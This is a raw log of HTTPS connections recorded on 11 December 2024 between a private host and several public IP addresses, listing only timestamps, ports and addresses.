Dec 11, 2024 02:08:41.619518995 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:41.619800091 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:41.620167971 CET	49775	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:41.620225906 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:41.620631933 CET	49775	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:41.667325974 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.061844110 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.061914921 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.062778950 CET	49774	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.063180923 CET	49774	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.063194990 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.111974955 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:42.112390995 CET	49776	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:42.112406969 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:42.112741947 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:42.113066912 CET	49776	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:42.113122940 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:42.113214970 CET	49776	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:42.155339956 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:42.333148956 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.333208084 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.333312035 CET	49775	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.334144115 CET	49775	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.334161997 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.338146925 CET	49778	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.338181973 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.338287115 CET	49778	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.338643074 CET	49778	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.338660955 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.574448109 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:42.574588060 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:42.574897051 CET	49776	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:42.577337980 CET	49776	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:42.577354908 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:42.694785118 CET	49779	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.694808006 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:42.694888115 CET	49779	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.695218086 CET	49779	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:42.695230007 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.549423933 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.549699068 CET	49778	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:43.549710989 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.550080061 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.550472975 CET	49778	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:43.550564051 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.550688982 CET	49778	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:43.595333099 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.960520029 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.961477995 CET	49779	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:43.961498022 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.961940050 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.964636087 CET	49779	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:43.964710951 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.965097904 CET	49779	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:43.994920015 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.995043039 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:43.995256901 CET	49778	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:44.007323980 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:44.073340893 CET	49778	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:44.073370934 CET	443	49778	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:44.402153015 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:44.402259111 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:44.402316093 CET	49779	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:44.402327061 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:44.402373075 CET	49779	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:44.403552055 CET	49779	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:44.403568983 CET	443	49779	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:45.069926023 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:45.069947958 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:45.070055008 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:45.070420027 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:45.070434093 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.292081118 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.292330027 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.292341948 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.292685986 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.292988062 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.293061018 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.293122053 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.293174982 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.293211937 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.293289900 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.293314934 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.892168999 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.892229080 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.892270088 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.892287016 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.892298937 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.892347097 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.892354965 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.892436028 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.892473936 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.892481089 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.900430918 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.900480986 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.900487900 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.908793926 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.908845901 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.908855915 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:46.957473040 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:46.957483053 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.003091097 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.109812021 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.113410950 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.113471031 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.113600969 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.113610983 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.113660097 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.119676113 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.127305031 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.127352953 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.127361059 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.135111094 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.135163069 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.135169029 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.135209084 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.135256052 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.135437965 CET	49783	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.135448933 CET	443	49783	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.159243107 CET	49784	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.159264088 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:47.159332991 CET	49784	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.159789085 CET	49784	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:47.159815073 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:48.369661093 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:48.370003939 CET	49784	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:48.370012045 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:48.370364904 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:48.371701956 CET	49784	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:48.371768951 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:48.371882915 CET	49784	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:48.415329933 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:48.818649054 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:48.818727016 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:48.818790913 CET	49784	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:48.819761038 CET	49784	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:48.819772005 CET	443	49784	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:53.936026096 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:53.936067104 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:53.936160088 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:53.936364889 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:53.936377048 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:55.458230019 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:55.458493948 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:55.458514929 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:55.458836079 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:55.459151030 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:55.459213972 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:55.459274054 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:55.459368944 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:55.459402084 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:55.459495068 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:55.459542036 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.100123882 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.100203991 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.100233078 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.100250959 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:56.100275040 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.100311041 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:56.100317955 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.100385904 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.100426912 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:56.101795912 CET	49785	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:56.101809025 CET	443	49785	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.136524916 CET	49786	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:56.136580944 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.136651993 CET	49786	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:56.136861086 CET	49786	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:56.136878014 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:56.533781052 CET	49787	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:56.533795118 CET	443	49787	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:56.533854961 CET	49787	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:56.534158945 CET	49787	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:56.534166098 CET	443	49787	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:57.368108988 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:57.368495941 CET	49786	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:57.368509054 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:57.368849039 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:57.369126081 CET	49786	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:57.369199038 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:57.369260073 CET	49786	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:57.411330938 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:57.750955105 CET	443	49787	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:57.751271009 CET	49787	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:57.751281023 CET	443	49787	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:57.752345085 CET	443	49787	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:57.752417088 CET	49787	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:57.752809048 CET	49787	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:57.752819061 CET	49787	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:57.752866983 CET	443	49787	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:57.752890110 CET	49787	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:57.752929926 CET	49787	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:57.753304005 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:57.753334999 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:57.753405094 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:57.753618002 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:57.753632069 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:57.819224119 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:57.819303036 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:57.819366932 CET	49786	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:57.820293903 CET	49786	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:57.820307970 CET	443	49786	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:58.970382929 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:58.970730066 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:58.970738888 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:58.971775055 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:58.971837997 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:58.973526955 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:58.973592043 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:58.973751068 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:58.973758936 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:59.019750118 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:59.857709885 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:59.857821941 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:08:59.857899904 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:59.860586882 CET	49788	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:08:59.860596895 CET	443	49788	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:00.030236006 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:00.030287027 CET	443	49789	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:00.030390024 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:00.030761957 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:00.030777931 CET	443	49789	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:00.176913977 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:00.176939964 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:00.177026033 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:00.177683115 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:00.177716970 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:00.178028107 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:00.178428888 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:00.178442955 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:00.178590059 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:00.178601027 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:01.240089893 CET	443	49789	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:01.286118031 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.312660933 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.312676907 CET	443	49789	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:01.313910961 CET	443	49789	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:01.313992023 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.316107035 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.316128969 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.316174030 CET	443	49789	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:01.316193104 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.316262007 CET	49789	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.319602966 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.319634914 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:01.319701910 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.321295023 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:01.321311951 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:02.260876894 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.261476040 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.261487007 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.262557030 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.262636900 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.262645006 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.262692928 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.263705969 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.263765097 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.263907909 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.263915062 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.318144083 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.330251932 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.330459118 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.330493927 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.331548929 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.331613064 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.331625938 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.331675053 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.331861973 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.331923962 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.379384995 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.379395008 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.425848007 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.535747051 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:02.535974979 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:02.535988092 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:02.537049055 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:02.537199020 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:02.537395954 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:02.537461996 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:02.537507057 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:02.579343081 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:02.582707882 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:02.582715988 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:02.633996964 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:02.768543959 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.768644094 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.768703938 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.768964052 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.768980980 CET	443	49790	52.98.95.210	192.168.2.4
Dec 11, 2024 02:09:02.768990993 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.769031048 CET	49790	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:02.950140953 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:02.950179100 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:02.950247049 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:02.950453997 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:02.950467110 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:03.417160034 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:03.417279005 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:03.417332888 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:03.418426037 CET	49792	443	192.168.2.4	104.21.32.251
Dec 11, 2024 02:09:03.418443918 CET	443	49792	104.21.32.251	192.168.2.4
Dec 11, 2024 02:09:05.030848980 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.031204939 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.031217098 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.032118082 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.032186985 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.032191992 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.032232046 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.033220053 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.033265114 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.033499002 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.033508062 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.082129002 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.718674898 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.718781948 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.718849897 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.765820980 CET	49793	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.765851021 CET	443	49793	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.771785975 CET	49794	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.771815062 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:05.771879911 CET	49794	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.772346973 CET	49794	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:05.772361040 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:07.854993105 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:07.855282068 CET	49794	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:07.855294943 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:07.855642080 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:07.856053114 CET	49794	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:07.856129885 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:07.856245995 CET	49794	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:07.903331041 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:08.549662113 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:08.549683094 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:08.549751043 CET	49794	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:08.549762011 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:08.549772978 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:08.549851894 CET	49794	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:08.551167965 CET	49794	443	192.168.2.4	40.99.70.226
Dec 11, 2024 02:09:08.551189899 CET	443	49794	40.99.70.226	192.168.2.4
Dec 11, 2024 02:09:23.302673101 CET	49839	443	192.168.2.4	142.250.181.100
